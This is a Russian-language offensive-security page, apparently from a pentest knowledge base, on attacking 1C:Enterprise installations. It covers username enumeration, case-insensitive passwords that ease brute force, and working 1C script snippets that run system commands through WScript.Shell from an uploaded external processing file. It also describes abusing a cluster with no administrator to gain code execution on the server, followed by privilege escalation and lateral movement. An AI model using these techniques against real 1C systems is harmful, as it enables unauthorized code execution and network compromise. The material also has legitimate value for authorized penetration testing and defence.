# 1C

## Что нужно знать, при пентесте 1С

* Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на /ru\_RU/e1cib/users.
* Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).
* Внутри часто есть выполнение произвольного кода.

Если в 1С включено интерактивное открытие внешних отчетов и обработок, то достаточно тыкнуть Файл => Открыть и загрузить консоль запросов для управляемого приложения с разширением epf.

{% file src="/files/-MKinwPzIwqaAG\_Npx3d" %}

В консоле же легко выполнять произвольные команды и выводить их с помощью функции "Сообщить".

![](/files/-MKioBF-iJGfPopq0P6q)

Например:

```
СисИнфо = Новый СистемнаяИнформация;
Shell = Новый COMОбъект("WScript.Shell");
UserDir = Shell.ExpandEnvironmentStrings("%USERPROFILE%"); 
Сообщить(СисИнфо.ВерсияОС+" "+СисИнфо.ТипПлатформы+Символы.ПС+Символы.ПС+СисИнфо.Процессор+", RAM: "+СисИнфо.ОперативнаяПамять+" МБ"+Символы.ПС);
Сообщить("Каталог 1с: " + КаталогПрограммы());
Сообщить("Пользователь: "+UserDir);
Тасклист=Shell.Exec("tasklist /v");
Сообщить(Тасклист.StdOut.ReadAll());

```

Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.

Еще пример test.epf скрипта

```
&НаСервере
Процедура ДействиеВыполнитьНаСервере()
	Попытка
		Shellexec = Новый COMОбъект("WScript.Shell");
		Shellexec.Exec("powershell whoami");
	Исключение
    	Сообщить("Error!");
	КонецПопытки;
КонецПроцедуры

&НаКлиенте
Процедура ДействиеВыполнить(Команда)
	ДействиеВыполнитьНаСервере();
КонецПроцедуры
```

## Администратор кластера на сервере 1C

Если на сервере 1C отсутстует администратор кластера, то такая конфигурация позоляет, подключившись к серверу 1C, добавить собственную БД кластер 1C и вывполнить произвольный код на сервере 1C.

Для проверки лезем в `Console Root\Central 1C:Enterprise XX servers\Some IP\Кластеры\Имя кластера\Администраторы`

Если там пусто, то в враздел Информационные базы добавляем свою базу и загружаем внешнюю обработку (shell.epf) 1С для выполнения кода на сервере:

![](/files/-MgRoh60RXVxWF9CEcIa)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://appsecurity.gitbook.io/offensive/appsec/technologies/1c.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
